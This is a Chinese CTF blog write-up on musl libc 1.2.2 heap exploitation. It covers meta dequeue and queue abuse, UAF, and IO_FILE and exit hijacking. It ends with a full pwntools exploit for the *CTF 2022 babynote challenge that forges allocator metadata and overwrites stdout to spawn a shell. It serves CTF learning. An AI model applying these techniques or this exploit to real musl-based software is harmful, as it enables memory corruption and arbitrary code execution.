Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

小小做题家之——musl 1.2.2的利用手法

Posted on 2022年10月6日2022年10月7日 by Nameless

前言

看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇[原创]手动编译测试musl1.2.2 meta dequeue特性-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法

常见利用手法

meta dequeue的利用

流程

一般是下面两种:

(1)free->nontrivial_free()->dequeue

(2)malloc->alloc_slot->dequeue

(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)

效果

任意地址写

利用思路

meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:

(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)

如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作

利用过程

同样,从一个简单的demo入手:

(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)

/*
在musl-1.2.2目录下编译和链接:
./obj/musl-gcc main.c -o test
patchelf --set-interpreter ./libc.so ./test 
(libc.so就用题目附件给的就好)
*/
#include<stdio.h>
#include <unistd.h>

void init()
{
        setbuf(stdin, 0);
        setbuf(stdout, 0);
        setbuf(stderr, 0);
}

int main() {

        init();
        size_t *p1;
        p1=(size_t *)malloc(0x20); //1
        read(0,p1,0x10);
        free(p1);
        return 0;
}

目标:给0x555555559f00赋值0x55555555b300

首先断在这个地方:

此时meta的构造如下:

发现此时这个meta指向自身,我们通过set指令修改它的pre和next:

set *0x55555555b298 = 0x555555559ef8
set *0x55555555b2a0 = 0x55555555b300

修改过后,ni 发现会卡在一个地方:

但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:

为啥会卡住呢?我们着重分析分析118行这里的源码

这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:

这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):

set *0x55555555b310 = 0x55555555b340
set *0x55555555b314 = 0x5555

(不知道为啥这些地方set就只能一次4字节)

但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:

	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	//根据chunK获取group和meta p为chunk指针
	const struct meta *meta = base->meta;
	assert(meta->mem == base);//检查
	assert(index <= meta->last_idx);
	assert(!(meta->avail_mask & (1u<<index)));
	assert(!(meta->freed_mask & (1u<<index)));
	//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界
	const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
	//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)
	assert(area->check == ctx.secret);//检查area中的secret

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)

meta->mem也就是group的首地址,要设置成meta的地址。同样用set:

set *0x000055555555b340 = 0x55555555b300
set *0x000055555555b340 = 0x5555

设置好过后,ni就能成功free然后实现任意地址写了

meta queue的利用

上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):

发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):

只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:

这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块

效果

实现任意地址申请

利用流程

当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改

下面谈谈如何伪造满足条件的meta和group实现任意地址申请:

(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页

(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行

(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。

(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可

(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]

(6)malloc(sc*0x10)申请出target进行修改

伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)

(1)伪造meta

伪造dequeue-meta:
```
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) 
    fake_meta += p64(0) #duiqi
```
伪造queue-meta(或者伪造替换group时不希望meta被free):
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)

(2)伪造group

    fake_mem = p64(fake_meta_addr)                  # meta 
    fake_mem += p32(1) + p32(0) 

(3)拼接payload

    payload = padding ##页对齐
    payload += p64(secret) + p64(0) ## +p64(0)是为了补齐
    payload += fake_meta + b'\n'

UAF

效果

任意地址泄露或者任意地址写

利用过程

musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0

所以,musl的堆题处处充满了风水。。。举个栗子:

注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。

IO_attack

musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:

puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)

这里的rax是通过r12赋值的:

mov    rax, qword ptr [r12 + 0x48]
call rax

而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f /* ‘/bin/sh’ */

那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE

伪造的IO_FILE模板如下:

    fake_IO  = b'/bin/sh\x00'                       # flags
    fake_IO += p64(0)                               # rpos
    fake_IO += p64(0)                               # rend
    fake_IO += p64(libc_base + 0x5c9a0)             # close
    fake_IO += p64(1)                               # wend
    fake_IO += p64(0)                               # wpos
    fake_IO += p64(0)                               # mustbezero_1
    fake_IO += p64(0)                               # wbase
    fake_IO += p64(0)                               # read
    fake_IO += p64(libc_base + libc.sym['system'])  # write

其实就改了改三个点,flags,wend和write。原来的长这样:

改wend其实是因为在call rax之前还有这个检查:

exit_attack

同样给出一条参考链子(感谢CatF1y师傅的点拨):

exit->__stdio_exit_needed->__stdio_exit_needed->close_file

最后的close_file长这样:

最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:

只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell

例题:【*ctf2022】babynote

版本

./libc.so即可看查libc版本:

保护

ida

main

实现了增删查三种功能

add

熟悉的结构题题,通过calloc申请0x20大小的note:

name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)

find(也就是show)

这个函数的流程大体如下:

读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:

delet

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)

利用流程:

已知存size为0x30的group最多能存10个堆块(0~9)

(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:

(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)

(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content

(4)通过find show B的content,即可泄露libcbase和elfbase

由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:

libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60

后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)

forget

利用思路

(1)通过UAF 泄露elfbase和libcbase以及secret

(2)然后申请大堆块在mmap的内存段布置好fake meta

(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]

(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system(“/bin/sh”)getshell

exp

# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'

io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex(data)) 

def z():
    gdb.attach(r)
		
def cho(num):
    sla("option: ",str(num))

def add(namesz,name,notesz,note):
    cho(1)
    sla("name size: ",str(namesz))
    sa("name: ",name)
    sla("note size: ",str(notesz))
    sa("note content: ",note)    
    
def find(namesz,name):
    cho(2)
    sla("name size: ",str(namesz))
    sa("name: ",name)
    
def delet(namesz,name):
    cho(3)
    sla("name size: ",str(namesz))
    sa("name: ",name)

def remake():
    cho(4)

def exp():
    global r  
    global libc
    r=process("./babynote")
    libc=ELF('./libc.so')  
    
    ## leak libcbase && elfbase
    add(0x38,"a"*0x38,0x38,"a"*0x38)
    cho(4)
    for _ in range(8):
        find(0x28,"a"*0x28) 
    add(0x38,"2"*0x38,0x28,"2"*0x28)
    add(0x38,"3"*0x38,0x38,"3"*0x38)
    delet(0x38,"2"*0x38)
    for _ in range(6):
        find(0x28,"a"*0x28)
    add(0x38,"4"*0x38,0x58,"4"*0x58)  
    find(0x38,"2"*0x38)
    r.recvuntil("0x28:")
    libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60
    elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40
    log.success("libcbase:"+hex(libcbase))
    log.success("elfbase:"+hex(elfbase))
    
    ## set libcfunc
    malloc_context = libcbase + 0xb4ac0
    mmap_base = libcbase - 0xa000
    fake_meta_addr = mmap_base + 0x2010
    fake_mem_addr = mmap_base + 0x2040
    stdout = libcbase + 0xb4280    
    ## leak secret
    for _ in range(6):
        find(0x28,"a"*0x28)
    pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)
    find(0x28,pd)
    find(0x38,"a"*0x38)
    r.recvuntil("0x28:")
    secret=u64(p64(int(r.recv(16),16),endianness="big"))
    lg("secret",secret)

    ## set fake meta
    add(0x28,"5"*0x28,0x1200,'\n')
    last_idx, freeable, sc, maplen = 0, 1, 8, 1
    #fake meta
    fake_meta = p64(stdout - 0x18)                  # prev
    fake_meta += p64(fake_meta_addr + 0x30)         # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) 
    fake_meta += p64(0) #duiqi
    #fake group
    fake_mem = p64(fake_meta_addr)                  # meta 
    fake_mem += p32(1) + p32(0)                     
    payload = b'a' * 0xaa0
    #fake meta area
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + '\n'
    find(0x1200,payload)
  
    ## dequeue 2 set stdout_file -0x10 (where the final fake group)
    for _ in range(3):
       find(0x28,"a"*0x28)
    pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
    add(0x38,"6"*0x38,0x28,pd)
    delet(0x38,"a"*0x38)

    ## reset fake meta , free fake chunk 2 queue it(queue the fake meta)
    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta
    fake_meta = p64(0)                              # prev
    fake_meta += p64(0)                             # next
    fake_meta += p64(fake_mem_addr)                 # mem
    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)
    fake_mem = p64(fake_meta_addr)                  # meta
    fake_mem += p32(1) + p32(0)
    payload = b'a' * 0xa90
    payload += p64(secret) + p64(0)
    payload += fake_meta + fake_mem + b'\n'
    ##z()
    find(0x1200, payload)
    for _ in range(2):
        find(0x28, 'a' * 0x28)
    pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)
    add(0x38,"7"*0x38,0x28,pd)
    delet(0x38,"a"*0x38)
    
    ## reset fake meta's group at stdout_file -0x10
    last_idx, freeable, sc, maplen = 1, 0, 8, 0
    fake_meta = p64(fake_meta_addr)                 # prev
    fake_meta += p64(fake_meta_addr)                # next
    fake_meta += p64(stdout - 0x10)                 # mem
    fake_meta += p32(1) + p32(0)                    # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += b'a' * 0x18
    fake_meta += p64(stdout - 0x10)
    payload = b'a' * 0xa80
    payload += p64(secret) + p64(0)
    payload += fake_meta + b'\n'
    find(0x1200, payload)  
    ## calloc to edit stdout 2 IO_attack
    
    cho(1)
    sla('name size: ', str(0x28))
    sa('name: ', '\n')
    sla('note size: ', str(0x80))#sc为8
    fake_IO  = b'/bin/sh\x00'                       # flags
    fake_IO += p64(0)                               # rpos
    fake_IO += p64(0)                               # rend
    fake_IO += p64(libcbase + 0x5c9a0)             # close
    fake_IO += p64(1)                               # wend
    fake_IO += p64(0)                               # wpos
    fake_IO += p64(0)                               # mustbezero_1
    fake_IO += p64(0)                               # wbase
    fake_IO += p64(0)                               # read
    fake_IO += p64(libcbase + libc.sym['system'])  # write
    ##z()
    sl(fake_IO)
    io()

if __name__ == '__main__':
    exp()

不足之处

dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读~

参考链接

感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析~

(11条消息) *CTF babynote 复现_xyzmpv的博客-CSDN博客

[原创]musl 1.2.2 总结+源码分析 One-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 基于树莓派的蓝牙调试环境搭建
  • shell之外的往事:机械兔子
  • [Googlectf2022]硬件题weather
  • 嵌入式设备组播路由攻击实战
  • 嵌入式设备串口调试以及破解实战

近期评论

    归档

    • 2023年3月
    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • hardware
    • Linux
    • oi
    • PWN
    • python
    • shell之外的往事
    • 嵌入式开发
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes